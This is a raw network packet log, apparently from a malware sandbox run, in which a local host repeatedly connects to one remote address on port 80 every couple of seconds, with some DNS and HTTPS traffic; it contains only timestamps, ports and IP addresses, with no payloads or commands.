Oct 3, 2024 03:31:47.474129915 CEST	80	49931	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:47.474185944 CEST	80	49930	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:47.478385925 CEST	49930	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:47.478415012 CEST	49931	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:47.478652000 CEST	49931	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:47.483908892 CEST	80	49931	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:48.192455053 CEST	80	49931	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:48.192529917 CEST	49931	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:49.703102112 CEST	49931	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:49.703438997 CEST	49932	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:49.708512068 CEST	80	49932	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:49.708539963 CEST	80	49931	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:49.708895922 CEST	49932	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:49.708992958 CEST	49931	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:49.709130049 CEST	49932	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:49.713865995 CEST	80	49932	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:50.414740086 CEST	80	49932	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:50.414810896 CEST	49932	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:52.046539068 CEST	49932	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:52.047462940 CEST	49933	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:52.052237988 CEST	80	49932	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:52.052452087 CEST	49932	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:52.052762032 CEST	80	49933	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:52.052942991 CEST	49933	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:52.053299904 CEST	49933	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:52.058303118 CEST	80	49933	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:52.082670927 CEST	64650	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:31:52.087563038 CEST	53	64650	1.1.1.1	192.168.2.5
Oct 3, 2024 03:31:52.088599920 CEST	64650	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:31:52.088723898 CEST	64650	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:31:52.094192028 CEST	53	64650	1.1.1.1	192.168.2.5
Oct 3, 2024 03:31:52.534104109 CEST	53	64650	1.1.1.1	192.168.2.5
Oct 3, 2024 03:31:52.535065889 CEST	64650	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:31:52.540416002 CEST	53	64650	1.1.1.1	192.168.2.5
Oct 3, 2024 03:31:52.540479898 CEST	64650	53	192.168.2.5	1.1.1.1
Oct 3, 2024 03:31:52.774513006 CEST	80	49933	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:52.774580002 CEST	49933	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:54.280780077 CEST	49933	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:54.281097889 CEST	64652	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:54.286111116 CEST	80	64652	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:54.286354065 CEST	80	49933	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:54.286509037 CEST	49933	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:54.286530018 CEST	64652	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:54.286844969 CEST	64652	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:54.291667938 CEST	80	64652	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:55.027656078 CEST	80	64652	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:55.027728081 CEST	64652	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:56.656610012 CEST	64652	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:56.657095909 CEST	64653	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:56.661943913 CEST	80	64652	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:56.662003994 CEST	64652	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:56.662261009 CEST	80	64653	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:56.662353992 CEST	64653	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:56.662611008 CEST	64653	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:56.667726040 CEST	80	64653	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:57.351433992 CEST	80	64653	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:57.352478981 CEST	64653	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:58.859559059 CEST	64653	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:58.860047102 CEST	64654	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:58.864749908 CEST	80	64653	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:58.864800930 CEST	64653	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:58.865057945 CEST	80	64654	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:58.865114927 CEST	64654	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:58.865464926 CEST	64654	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:31:58.870726109 CEST	80	64654	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:59.579257011 CEST	80	64654	185.215.113.43	192.168.2.5
Oct 3, 2024 03:31:59.579592943 CEST	64654	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:01.202234983 CEST	64654	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:01.207434893 CEST	64655	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:01.207847118 CEST	80	64654	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:01.212973118 CEST	80	64655	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:01.213016987 CEST	64654	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:01.214374065 CEST	64655	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:01.214374065 CEST	64655	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:01.220531940 CEST	80	64655	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:01.921922922 CEST	80	64655	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:01.922466040 CEST	64655	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:03.438256979 CEST	64656	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:03.438363075 CEST	64655	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:03.443754911 CEST	80	64656	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:03.444541931 CEST	64656	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:03.444541931 CEST	64656	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:03.444583893 CEST	80	64655	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:03.449816942 CEST	80	64656	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:03.450228930 CEST	64655	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:04.158109903 CEST	80	64656	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:04.165266991 CEST	64656	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:05.798264027 CEST	64656	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:05.798423052 CEST	64657	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:05.803286076 CEST	80	64657	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:05.803554058 CEST	80	64656	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:05.806396008 CEST	64656	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:05.806586027 CEST	64657	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:05.806734085 CEST	64657	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:05.811645985 CEST	80	64657	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:06.536708117 CEST	80	64657	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:06.536777973 CEST	64657	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:08.046190023 CEST	64657	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:08.046190023 CEST	64658	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:08.051335096 CEST	80	64658	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:08.051492929 CEST	80	64657	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:08.054416895 CEST	64657	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:08.054416895 CEST	64658	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:08.054717064 CEST	64658	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:08.059539080 CEST	80	64658	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:08.775165081 CEST	80	64658	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:08.775222063 CEST	64658	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:10.406343937 CEST	64658	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:10.406884909 CEST	64659	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:10.411725998 CEST	80	64658	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:10.411788940 CEST	64658	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:10.411799908 CEST	80	64659	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:10.411874056 CEST	64659	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:10.411981106 CEST	64659	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:10.416867018 CEST	80	64659	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:11.118845940 CEST	80	64659	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:11.118937016 CEST	64659	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:12.625641108 CEST	64659	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:12.626115084 CEST	64660	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:12.631558895 CEST	80	64659	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:12.631583929 CEST	80	64660	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:12.631624937 CEST	64659	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:12.631678104 CEST	64660	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:12.631879091 CEST	64660	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:12.637084007 CEST	80	64660	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:13.343281984 CEST	80	64660	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:13.343776941 CEST	64660	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:14.969738007 CEST	64660	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:14.970221043 CEST	64661	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:14.975446939 CEST	80	64660	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:14.975497007 CEST	80	64661	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:14.975513935 CEST	64660	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:14.975575924 CEST	64661	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:14.975759029 CEST	64661	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:14.980791092 CEST	80	64661	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:15.684011936 CEST	80	64661	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:15.684235096 CEST	64661	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:17.203783989 CEST	64661	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:17.204224110 CEST	64662	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:17.209117889 CEST	80	64661	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:17.209191084 CEST	64661	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:17.209456921 CEST	80	64662	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:17.209527969 CEST	64662	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:17.209721088 CEST	64662	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:17.214657068 CEST	80	64662	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:17.924453974 CEST	80	64662	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:17.924659014 CEST	64662	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:19.546274900 CEST	64663	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:19.546292067 CEST	64662	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:19.551419973 CEST	80	64663	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:19.551584005 CEST	80	64662	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:19.552455902 CEST	64663	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:19.552464962 CEST	64662	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:19.552705050 CEST	64663	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:19.557612896 CEST	80	64663	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:20.242877007 CEST	80	64663	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:20.242954969 CEST	64663	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:21.750273943 CEST	64663	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:21.750282049 CEST	64664	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:21.755366087 CEST	80	64664	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:21.755563974 CEST	80	64663	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:21.758446932 CEST	64663	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:21.758455992 CEST	64664	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:21.758663893 CEST	64664	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:21.763536930 CEST	80	64664	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:22.482819080 CEST	80	64664	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:22.482911110 CEST	64664	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:24.108246088 CEST	64664	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:24.109298944 CEST	64665	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:24.113435030 CEST	80	64664	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:24.114106894 CEST	80	64665	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:24.114268064 CEST	64664	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:24.114320993 CEST	64665	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:24.114631891 CEST	64665	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:24.119430065 CEST	80	64665	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:24.809612989 CEST	80	64665	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:24.809678078 CEST	64665	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:26.327145100 CEST	64665	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:26.327430964 CEST	64666	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:26.332338095 CEST	80	64665	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:26.332426071 CEST	64665	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:26.332515001 CEST	80	64666	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:26.332699060 CEST	64666	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:26.332699060 CEST	64666	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:26.337515116 CEST	80	64666	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:27.033277035 CEST	80	64666	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:27.033351898 CEST	64666	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:28.658365965 CEST	64666	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:28.659014940 CEST	64667	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:28.663393021 CEST	80	64666	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:28.663458109 CEST	64666	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:28.663793087 CEST	80	64667	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:28.663857937 CEST	64667	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:28.664062023 CEST	64667	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:28.668884039 CEST	80	64667	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:29.392255068 CEST	80	64667	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:29.392431021 CEST	64667	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:29.406296968 CEST	64667	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:29.411567926 CEST	80	64667	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:29.414395094 CEST	64667	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:30.906255960 CEST	64668	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:30.911330938 CEST	80	64668	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:30.911417007 CEST	64668	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:30.911600113 CEST	64668	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:30.916625023 CEST	80	64668	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:31.615603924 CEST	80	64668	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:31.618413925 CEST	64668	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:33.254293919 CEST	64668	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:33.254327059 CEST	64669	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:33.259711027 CEST	80	64668	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:33.259764910 CEST	80	64669	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:33.260421038 CEST	64668	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:33.260432959 CEST	64669	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:33.264673948 CEST	64669	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:33.269517899 CEST	80	64669	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:33.959880114 CEST	80	64669	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:33.960064888 CEST	64669	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:34.868206978 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:34.868263006 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:34.868324995 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:34.869261980 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:34.869286060 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.467808008 CEST	64669	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:35.470340014 CEST	64671	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:35.473037004 CEST	80	64669	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:35.474471092 CEST	64669	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:35.475109100 CEST	80	64671	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:35.478398085 CEST	64671	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:35.478763103 CEST	64671	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:35.483568907 CEST	80	64671	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:35.692297935 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.692473888 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.694299936 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.694312096 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.694542885 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.696022987 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.696022987 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.696042061 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.697165012 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.743411064 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.877127886 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.877363920 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:35.877533913 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.878262997 CEST	64670	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:32:35.878284931 CEST	443	64670	40.113.110.67	192.168.2.5
Oct 3, 2024 03:32:36.173635006 CEST	80	64671	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:36.174451113 CEST	64671	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:37.795866013 CEST	64671	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:37.796497107 CEST	64672	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:37.801386118 CEST	80	64671	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:37.801462889 CEST	80	64672	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:37.801666021 CEST	64671	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:37.801876068 CEST	64672	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:37.801994085 CEST	64672	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:37.806780100 CEST	80	64672	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:38.508936882 CEST	80	64672	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:38.510271072 CEST	64672	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:40.015079021 CEST	64673	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:40.015081882 CEST	64672	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:40.021352053 CEST	80	64673	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:40.021889925 CEST	80	64672	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:40.026397943 CEST	64672	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:40.026398897 CEST	64673	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:40.026715040 CEST	64673	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:40.031666040 CEST	80	64673	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:40.746059895 CEST	80	64673	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:40.746124983 CEST	64673	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:42.375299931 CEST	64673	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:42.375674009 CEST	64674	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:42.380937099 CEST	80	64674	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:42.381021976 CEST	64674	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:42.381736040 CEST	64674	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:42.383094072 CEST	80	64673	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:42.384255886 CEST	64673	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:42.386643887 CEST	80	64674	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:43.092776060 CEST	80	64674	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:43.092848063 CEST	64674	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:44.610426903 CEST	64674	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:44.610935926 CEST	64675	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:44.615752935 CEST	80	64674	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:44.615828991 CEST	64674	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:44.616055965 CEST	80	64675	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:44.616123915 CEST	64675	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:44.616338968 CEST	64675	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:44.621325970 CEST	80	64675	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:45.338155985 CEST	80	64675	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:45.342319965 CEST	64675	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:46.968544006 CEST	64675	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:46.969072104 CEST	64676	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:46.973835945 CEST	80	64675	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:46.973896027 CEST	64675	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:46.974261999 CEST	80	64676	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:46.974343061 CEST	64676	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:46.974513054 CEST	64676	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:46.979506969 CEST	80	64676	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:47.688977003 CEST	80	64676	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:47.689380884 CEST	64676	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:49.203087091 CEST	64676	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:49.203473091 CEST	64677	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:49.209014893 CEST	80	64676	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:49.209091902 CEST	64676	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:49.209783077 CEST	80	64677	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:49.209846973 CEST	64677	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:49.210067034 CEST	64677	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:49.217771053 CEST	80	64677	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:49.947146893 CEST	80	64677	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:49.948626995 CEST	64677	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:51.576975107 CEST	64677	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:51.578442097 CEST	64678	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:51.583080053 CEST	80	64677	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:51.584003925 CEST	80	64678	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:51.584111929 CEST	64677	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:51.584111929 CEST	64678	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:51.585410118 CEST	64678	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:51.590419054 CEST	80	64678	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:52.278611898 CEST	80	64678	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:52.280873060 CEST	64678	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:53.795418024 CEST	64678	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:53.795490980 CEST	64679	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:53.812513113 CEST	80	64679	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:53.812798977 CEST	64679	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:53.813095093 CEST	64679	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:53.813991070 CEST	80	64678	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:53.814408064 CEST	64678	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:53.828274012 CEST	80	64679	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:54.534384966 CEST	80	64679	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:54.534461021 CEST	64679	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:56.157326937 CEST	64680	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:56.157345057 CEST	64679	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:56.168447018 CEST	80	64680	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:56.168653011 CEST	80	64679	185.215.113.43	192.168.2.5
Oct 3, 2024 03:32:56.168849945 CEST	64679	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:32:56.168864965 CEST	64680	80	192.168.2.5	185.215.113.43
